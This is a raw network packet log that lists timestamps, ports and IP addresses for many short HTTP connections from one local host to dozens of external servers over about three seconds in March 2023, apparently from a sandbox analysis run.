Mar 10, 2023 07:54:36.400562048 CET	80	49804	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:36.400899887 CET	49804	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:36.402501106 CET	49805	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:36.402600050 CET	49804	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:36.403095007 CET	49806	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.413451910 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:36.419755936 CET	80	49805	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:36.421109915 CET	80	49804	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:36.425134897 CET	80	49804	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:36.425267935 CET	49804	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:36.428913116 CET	80	49805	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:36.429042101 CET	49805	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:36.441303015 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.441469908 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:36.491127968 CET	80	49800	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.492175102 CET	80	49803	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:36.492398977 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:36.557106018 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.558732033 CET	80	49806	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.558846951 CET	49806	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.560023069 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560051918 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560075045 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560101986 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560120106 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560136080 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560142994 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560163975 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560167074 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560198069 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560220003 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560230017 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560250044 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560273886 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560291052 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560323000 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560344934 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.560517073 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.560517073 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.632874966 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653717995 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653762102 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653783083 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653810024 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653808117 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653832912 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653852940 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653856039 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653878927 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653878927 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653901100 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653902054 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653923035 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653934956 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653944016 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.653956890 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653975964 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.653996944 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.697505951 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:36.697547913 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:36.697623968 CET	49806	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.701132059 CET	49808	80	192.168.2.6	104.26.7.221
Mar 10, 2023 07:54:36.718805075 CET	80	49808	104.26.7.221	192.168.2.6
Mar 10, 2023 07:54:36.718889952 CET	49808	80	192.168.2.6	104.26.7.221
Mar 10, 2023 07:54:36.722758055 CET	49808	80	192.168.2.6	104.26.7.221
Mar 10, 2023 07:54:36.727025032 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.727055073 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.727081060 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.727107048 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.727132082 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.727132082 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:36.727158070 CET	80	49807	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:36.727202892 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:36.727268934 CET	49807	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:36.740417004 CET	80	49808	104.26.7.221	192.168.2.6
Mar 10, 2023 07:54:36.742441893 CET	49809	80	192.168.2.6	143.204.9.49
Mar 10, 2023 07:54:36.749636889 CET	80	49808	104.26.7.221	192.168.2.6
Mar 10, 2023 07:54:36.749731064 CET	49808	80	192.168.2.6	104.26.7.221
Mar 10, 2023 07:54:36.763916969 CET	80	49809	143.204.9.49	192.168.2.6
Mar 10, 2023 07:54:36.764076948 CET	49809	80	192.168.2.6	143.204.9.49
Mar 10, 2023 07:54:36.764915943 CET	49809	80	192.168.2.6	143.204.9.49
Mar 10, 2023 07:54:36.784961939 CET	80	49809	143.204.9.49	192.168.2.6
Mar 10, 2023 07:54:36.785363913 CET	80	49809	143.204.9.49	192.168.2.6
Mar 10, 2023 07:54:36.785444975 CET	49809	80	192.168.2.6	143.204.9.49
Mar 10, 2023 07:54:36.792737007 CET	49808	80	192.168.2.6	104.26.7.221
Mar 10, 2023 07:54:36.798537016 CET	49810	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:36.814676046 CET	80	49808	104.26.7.221	192.168.2.6
Mar 10, 2023 07:54:36.814855099 CET	49808	80	192.168.2.6	104.26.7.221
Mar 10, 2023 07:54:36.814969063 CET	80	49810	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:36.815110922 CET	49810	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:36.836086988 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.836136103 CET	80	49801	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:36.836328983 CET	49801	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:36.851211071 CET	49809	80	192.168.2.6	143.204.9.49
Mar 10, 2023 07:54:36.852318048 CET	80	49806	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.852350950 CET	80	49806	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:36.852503061 CET	49806	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.864440918 CET	49806	80	192.168.2.6	3.18.7.81
Mar 10, 2023 07:54:36.864993095 CET	49810	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:36.871002913 CET	80	49809	143.204.9.49	192.168.2.6
Mar 10, 2023 07:54:36.871984005 CET	80	49809	143.204.9.49	192.168.2.6
Mar 10, 2023 07:54:36.872118950 CET	49809	80	192.168.2.6	143.204.9.49
Mar 10, 2023 07:54:36.882211924 CET	80	49810	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:36.908449888 CET	80	49803	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:36.957246065 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957287073 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957309008 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957330942 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957335949 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.957406998 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.957406998 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.957484007 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957505941 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957524061 CET	80	49802	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:36.957537889 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.957567930 CET	49802	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:36.991509914 CET	80	49810	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:36.991669893 CET	49810	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:37.018984079 CET	80	49806	3.18.7.81	192.168.2.6
Mar 10, 2023 07:54:37.051227093 CET	80	49803	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:37.051449060 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:37.361929893 CET	49811	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:37.438574076 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:37.514281988 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:37.550509930 CET	80	49812	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:37.550630093 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:37.556091070 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:37.592250109 CET	80	49812	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:37.594182968 CET	80	49812	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:37.594278097 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:37.648685932 CET	80	49803	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:37.651016951 CET	80	49811	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:37.651124001 CET	49811	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:37.651530027 CET	49811	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:37.688220024 CET	49813	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:37.688432932 CET	49814	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:37.689064026 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.689114094 CET	49816	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:37.689554930 CET	49817	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:37.689919949 CET	49818	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:37.706335068 CET	80	49814	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:37.706554890 CET	49814	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:37.706732035 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.706901073 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.708985090 CET	80	49818	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:37.709090948 CET	49818	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:37.740746021 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.740820885 CET	49818	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:37.741386890 CET	49814	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:37.758467913 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.758738995 CET	80	49814	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:37.760720968 CET	80	49818	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:37.761419058 CET	80	49818	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:37.761631012 CET	49818	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:37.768842936 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768877983 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768899918 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768924952 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768943071 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768961906 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768976927 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.768992901 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.769022942 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.769095898 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.769324064 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.769382954 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.781316996 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:37.786854029 CET	80	49813	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:37.786964893 CET	49813	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:37.795653105 CET	80	49803	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:37.795818090 CET	49803	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:37.818295002 CET	80	49812	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:37.818394899 CET	49812	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:37.825315952 CET	80	49814	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:37.825345993 CET	80	49814	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:37.825361967 CET	80	49814	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:37.825411081 CET	49814	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:37.825453997 CET	49814	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:37.844508886 CET	80	49816	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:37.844634056 CET	49816	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:37.872296095 CET	49815	80	192.168.2.6	104.26.14.53
Mar 10, 2023 07:54:37.889446974 CET	80	49815	104.26.14.53	192.168.2.6
Mar 10, 2023 07:54:37.896522999 CET	49813	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:37.941956043 CET	80	49811	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:37.942545891 CET	80	49811	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:37.942641020 CET	49811	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:37.956240892 CET	80	49817	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:37.956365108 CET	49817	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:37.978980064 CET	49816	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:37.994571924 CET	80	49813	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:37.994615078 CET	80	49813	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:37.994790077 CET	49813	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:38.064749002 CET	80	49760	39.99.233.155	192.168.2.6
Mar 10, 2023 07:54:38.064865112 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:38.104326010 CET	49811	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:38.134283066 CET	80	49816	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.134313107 CET	80	49816	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.134448051 CET	49816	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.156675100 CET	49817	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:38.157701015 CET	49816	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.180010080 CET	49813	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:38.269902945 CET	49819	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.278073072 CET	80	49813	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:38.278146982 CET	49813	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:38.313853025 CET	80	49816	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.340837955 CET	49820	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:38.341913939 CET	49821	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:38.361141920 CET	80	49821	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:38.361224890 CET	49821	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:38.363523006 CET	49821	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:38.373467922 CET	80	49820	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:38.373564959 CET	49820	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:38.374851942 CET	49820	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:38.383681059 CET	80	49821	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:38.384042978 CET	80	49821	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:38.384123087 CET	49821	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:38.396187067 CET	80	49811	211.1.226.67	192.168.2.6
Mar 10, 2023 07:54:38.396321058 CET	49811	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:54:38.408525944 CET	80	49820	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:38.408973932 CET	80	49820	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:38.409058094 CET	49820	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:38.409105062 CET	80	49820	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:38.409157991 CET	49820	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:38.409658909 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:38.423808098 CET	80	49817	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:38.424027920 CET	80	49817	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:38.424057961 CET	80	49817	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:38.424081087 CET	80	49817	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:38.424161911 CET	49817	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:38.424216032 CET	49817	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:38.425607920 CET	80	49819	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.425785065 CET	49819	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.429373980 CET	49817	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:38.439917088 CET	80	49822	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:38.440093040 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:38.571402073 CET	49819	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.571438074 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:38.572375059 CET	49821	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:38.591662884 CET	80	49821	192.124.249.10	192.168.2.6
Mar 10, 2023 07:54:38.592159033 CET	49821	80	192.168.2.6	192.124.249.10
Mar 10, 2023 07:54:38.601793051 CET	80	49822	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:38.602705002 CET	80	49822	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:38.602823019 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:38.664267063 CET	49823	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:38.690323114 CET	80	49823	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:38.690553904 CET	49823	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:38.696131945 CET	80	49817	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:38.725975990 CET	80	49819	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.726006985 CET	80	49819	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.726166964 CET	49819	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.795439005 CET	49819	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:38.800065041 CET	49824	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:38.800214052 CET	49825	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:38.816780090 CET	80	49824	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:38.816930056 CET	49824	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:38.840599060 CET	49795	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:38.892731905 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:38.893048048 CET	49823	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:38.898370028 CET	80	49825	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:38.898464918 CET	49825	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:38.899837971 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:38.916531086 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:38.916630983 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:38.917033911 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:38.918888092 CET	80	49823	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:38.918924093 CET	80	49823	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:38.919012070 CET	49823	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:38.924029112 CET	80	49822	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:38.924185038 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:38.933599949 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:38.943728924 CET	49824	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:38.950129032 CET	80	49819	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:38.960481882 CET	80	49824	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:38.965981007 CET	80	49824	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:38.966101885 CET	49824	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:38.973084927 CET	49825	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:39.025810957 CET	49823	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:39.051851034 CET	80	49823	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:39.051969051 CET	49823	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:39.071429014 CET	80	49825	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:39.073185921 CET	80	49825	192.252.154.18	192.168.2.6
Mar 10, 2023 07:54:39.073281050 CET	49825	80	192.168.2.6	192.252.154.18
Mar 10, 2023 07:54:39.207667112 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207729101 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207756996 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.207761049 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207784891 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.207803011 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.207803965 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207835913 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207858086 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.207890987 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.207894087 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207927942 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207941055 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.207957029 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207988024 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.207989931 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.208009958 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.208019972 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.208033085 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.208053112 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.208080053 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.208112955 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.208113909 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.208159924 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.220263004 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220336914 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220511913 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.220544100 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220580101 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220602036 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.220608950 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220629930 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.220637083 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220654011 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.220664978 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.220700979 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.221193075 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.221241951 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.221270084 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.221271992 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.221322060 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.221981049 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.222019911 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.222048044 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.222075939 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.222084045 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.222103119 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.222131968 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.222163916 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.224661112 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.224705935 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.224733114 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.224756956 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.224781990 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.225024939 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.227049112 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.227077007 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.227289915 CET	80	49826	172.67.70.223	192.168.2.6
